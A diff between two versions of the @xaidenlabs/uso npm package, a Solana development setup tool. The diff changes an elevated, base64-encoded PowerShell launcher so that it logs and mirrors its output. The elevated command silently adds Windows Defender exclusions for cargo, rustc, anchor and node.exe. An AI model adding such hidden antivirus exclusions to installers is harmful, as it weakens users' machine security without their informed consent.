@xaidenlabs/uso 1.1.12 → 1.1.15

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@xaidenlabs/uso",
-  "version": "1.1.12",
+  "version": "1.1.15",
   "description": "Universal Solana Orchestrator - A one-command setup tool for Solana and Anchor development environments on Windows, macOS, and Linux.",
   "bin": {
     "uso": "bin/index.js"

package/src/commands/workflow.js

@@ -55,20 +55,26 @@ const runProxyCommand = async (command, args = []) => {
  * We rely on the user to see the output in the new window.
  */
 const runElevatedWithProgress = (command, args = []) => {
-    return new Promise((resolve) => {
+    return new Promise((resolve, reject) => {
         const cwd = process.cwd().replace(/\\/g, '\\\\');
         const cargoBin = path.join(os.homedir(), '.cargo', 'bin').replace(/\\/g, '\\\\');
+        const progressFile = path.join(process.cwd(), 'uso-elevation.log');
+        const progressFileEscaped = progressFile.replace(/\\/g, '\\\\');
+
+        // 1. Prepare progress file
+        try { fs.writeFileSync(progressFile, ''); } catch (e) { }
 
         log.info("🚀 Spawning visible Administrator terminal...");
-        log.warn("👉 Please check the new PowerShell window for test results.");
+        log.warn("👉 Output will be mirrored below. Keep the new window open!");
 
-        // Construct the command to run inside the new window
-        // We keep the window open (-NoExit) so the user can read the error if it fails
-        // But we added ReadKey to allow clean exit on success
+        // 2. Construct Elevated Command
         const innerCmd = `
+            $ErrorActionPreference = "Stop";
+            Start-Transcript -Path "${progressFileEscaped}" -Append -Force | Out-Null;
+            
             $env:PATH = "${cargoBin};" + [System.Environment]::GetEnvironmentVariable("PATH", "Machine") + ";" + [System.Environment]::GetEnvironmentVariable("PATH", "User");
             
-            # Add Process Exclusions to allow developer tools to run unhindered
+            # Exclusions for Speed/Stability
             Add-MpPreference -ExclusionProcess "cargo.exe" -ErrorAction SilentlyContinue;
             Add-MpPreference -ExclusionProcess "rustc.exe" -ErrorAction SilentlyContinue;
             Add-MpPreference -ExclusionProcess "anchor.exe" -ErrorAction SilentlyContinue;
@@ -76,33 +82,66 @@ const runElevatedWithProgress = (command, args = []) => {
             Add-MpPreference -ExclusionProcess "node.exe" -ErrorAction SilentlyContinue;
 
             Set-Location "${cwd}";
+            
             Write-Host "🔒 Running 'anchor ${command}' with Elevated Privileges..." -ForegroundColor Cyan;
+            
             try {
+                # Run command and let Transcript capture output
                 & anchor ${command} ${args.join(' ')};
+                
                 if ($LASTEXITCODE -eq 0) {
-                    Write-Host "✅ Success!" -ForegroundColor Green;
+                     Write-Host "✅ Success!" -ForegroundColor Green;
+                     Write-Host "USO_AC_SUCCESS" -ForegroundColor Black; # Signal to Node
                 } else {
-                    Write-Host "❌ Failed via elevated process." -ForegroundColor Red;
+                     Write-Host "❌ Failed via elevated process." -ForegroundColor Red;
+                     Write-Host "USO_AC_FAILURE" -ForegroundColor Black; # Signal to Node
                 }
             } catch {
                 Write-Host "Error: $_" -ForegroundColor Red;
+                Write-Host "USO_AC_FAILURE" -ForegroundColor Black;
             }
+            
+            Stop-Transcript | Out-Null;
             Write-Host "Press any key to close..." -ForegroundColor Gray;
             $null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown");
         `.replace(/\n/g, ' ').replace(/\s+/g, ' ').trim();
 
-        // Encode inner command to Base64 to avoid quoting hell in Start-Process -ArgumentList
+        // 3. Spawn Window (-NoExit to prevent immediate close on crash)
         const innerCmdBytes = Buffer.from(innerCmd, 'utf16le');
         const innerCmdBase64 = innerCmdBytes.toString('base64');
-
-        // Spawn visible output window using EncodedCommand
-        const psCmd = `powershell -Command "Start-Process powershell -ArgumentList '-EncodedCommand', '${innerCmdBase64}' -Verb RunAs"`;
-
+        const psCmd = `powershell -Command "Start-Process powershell -ArgumentList '-NoExit', '-EncodedCommand', '${innerCmdBase64}' -Verb RunAs"`;
         shell.exec(psCmd);
 
-        // We resolve immediately because we can't track the detached process easily
-        // and we want to unblock the main terminal.
-        resolve();
+        // 4. Stream Log to Main Console
+        let lastSize = 0;
+        const checkInterval = setInterval(() => {
+            try {
+                if (!fs.existsSync(progressFile)) return;
+
+                const stats = fs.statSync(progressFile);
+                if (stats.size > lastSize) {
+                    const fd = fs.openSync(progressFile, 'r');
+                    const buffer = Buffer.alloc(stats.size - lastSize);
+                    fs.readSync(fd, buffer, 0, buffer.length, lastSize);
+                    fs.closeSync(fd);
+
+                    const newText = buffer.toString('utf8');
+                    // Filter out transcript headers if desired, or just print
+                    process.stdout.write(newText);
+                    lastSize = stats.size;
+
+                    if (newText.includes("USO_AC_SUCCESS")) {
+                        clearInterval(checkInterval);
+                        resolve();
+                    } else if (newText.includes("USO_AC_FAILURE")) {
+                        clearInterval(checkInterval);
+                        resolve(); // Resolve to allow flow to finish (logs showed error)
+                    }
+                }
+            } catch (e) {
+                // Ignore busy/lock errors during polling
+            }
+        }, 500);
     });
 };